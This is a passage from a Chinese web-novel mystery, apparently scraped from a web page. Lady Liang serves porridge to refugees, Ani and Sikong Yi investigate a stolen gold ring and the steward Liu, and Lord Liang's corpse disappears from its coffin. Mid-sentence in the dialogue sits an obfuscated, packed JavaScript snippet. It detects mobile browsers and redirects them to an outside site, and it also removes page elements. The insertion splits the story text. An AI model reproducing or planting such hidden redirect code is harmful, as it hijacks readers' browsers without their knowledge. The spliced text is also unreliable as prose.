梁夫人听了他的话,抬起头看向他,一双冰冷空洞的眼睛盯着他生了皱纹的脸看了好一会儿,刘管家却依旧低垂着眼眸,并不看她。 忽而,她的嘴角勾起了一抹冷嘲的笑,不知是因何情绪而发,她动手将他往后一推,沉下脸说,“你最好说到做到。” 初露的天光渐渐从门扉间透了进来,梁夫人单手支倚在床榻上,听闻侍女如霜推门而入,便问,“老爷起了?” 如霜应了声“是”,照常端着铜洗热水,沾湿脸巾伺候梁夫人洗漱。 “老爷用过早膳了?” “还未。老爷一早起来就赶到城北安置所去了,听说那边的流民又闹了事。” “你一会儿到膳房吩咐一声,用一香草煮一些粥,我亲自给送过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752316|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。再让家仆准备一袋大米,我们过去施粥。” 不过辰时初,梁府的马车就到了城北,梁夫人提着食盒下车,问了随从梁大人所在,就直往安置所中去。 梁大人见到梁夫人有些意外,“你怎么过来了?” “我听说老爷没来得及用早膳,就吩咐膳房准备了些送过来。”梁夫人从食盒中端出一碗热粥,贤惠地递给梁大人。 屋内流民望着食盒空咽口水,却不好意思显露,默默缩着身低下头。 梁大人一看,接过热粥就转送给了一旁一个清瘦羸弱的少年。 少年对此感恩戴德,连连谢过梁大人,又谢梁夫人。 原本脸色有些僵滞的梁夫人很快又牵起了笑容。“老爷你也真是,体恤百姓也要顾惜自己的身体,我自己拿了些私钱命人在门口施粥,大家都有。” 一时间,悉数流民闻风而动,奔涌向了门口。 梁大人随之走出安置所,看见家仆在街边支起两口大锅,锅中用一香草熬煮的米粥蒸起热汽,暖和了乍暖还寒的春日清晨。 而炒炸的一香殊色在锅中冒着飘香油光,引得众人垂涎欲滴。 流民们井然有序地排着队,不多时就领到了一碗粥和一个蒸饼,配着一碟一香殊色,随意找了一处空地,或蹲或坐,或倚墙立,吃得津津有味。 府库空虚,官家每日早晨只发一个蒸饼,中午才施一次粥,这会儿得此饱餐,无疑是天大的福祉。 梁大人见了这一副安稳和睦之景,紧锁眉头的愁容稍稍和缓,听闻众人对这一餐相当满意,心情好转,面对梁夫人亲手盛递来的粥,也不再回拒,就着碗一口一口喝下,与民同乐。 施完粥,梁夫人先一步乘上马车回到府中,发现金戒上沾了污垢,随手用帕子取下手上的金戒交给如霜,让她拿去金匠店清洗。 如霜拿着金戒去找金匠,等着金匠洗净金戒,又拿着金戒回了府中,照常忙起自己的活计。 夜里梁大人遇害,她跟着梁夫人出现在雪院,帮着打点处理丧事,又在接受张镇抚的询问时出示了银针,说起了自己一天的行踪…… 今日一日也是照常伺候在梁夫人身侧,身为一个普通侍女,并无可疑之处。 直到今晚领阿旎走进梁夫人院中,看完妆匣里的首饰,又匆匆赶来指责她偷盗了梁夫人金戒…… 阿旎适时收了手,眼前的景象骤然如风拂散而逝。 “没想到刘管家就是梁夫人的初恋情人,他原名不叫刘仁贵,叫刘进。” 司空翊收回的目光转移到她身上,“安置所的流民皆也吃了粥,却无人员毒发身亡,若要证明是梁夫人所为,还需实证。” 阿旎点点头,“刘管家也极为可疑。” 梁大人当日所穿的衣物被处理得很快,一盆大火将其焚烧殆尽,等到阿旎想到自己可以取得梁大人当日的随身之物,查看行踪一探究竟时,已经晚了。 而刘管家声称梁大人从来不喜配饰,身上既不戴金戒,也不腰白玉宝佩,断了最后一点可能。 今日在满堂香楼听了小二的话,阿旎便有些怀疑梁夫人。 后来询问金蝶云凤纹宝簪无果,便故意谎称自己已经找到了凶手行凶的线索,故作玄虚让众人交出自己昨日穿的衣物查验,以证清白。 为的就是再一次探查众人行踪,顺便引蛇出洞。 可事在人为,这主动上交的衣物只凭良心,防得了君子,防不住小人。 纵使有司空翊坐镇,张镇抚亲自主持,若有人故意报团,弄虚作假,只会延长缕清线索的时间。 彼时她还以为自己看错了,与如霜厮打时感觉有个异物从袖口钻入衣服,后来从自己身上摸出手帕,才知并非错觉。 那怪异之感,让她直觉是那位“王小姐”。 虽然不知道这“王小姐”是怎么知道的他们的动向,甚至还精准的帮她盗来了梁夫人昨日戴的金戒,但是这会儿她不想被司空翊发觉,按下不表,只说是如霜故意栽赃诬陷,被她发现,反借机盗取。 司空翊显然也不打算追究这件事。 阿旎问,“刘管家的衣物呢?” 或许无需再多费周折查遍众人,只要再一查刘管家便可真相大白。 忽而一道沉木落地的巨响,打断了他们。 随即一声尖锐的惊叫在前厅传开,阿旎和司空翊等人闻讯赶到前厅,就看见一个家仆瘫坐在地,指着棺材结结巴巴说道:“不见了……不见了……” 几人探身往棺材里一看,只见其中空空如也,梁大人的尸身竟然不翼而飞了。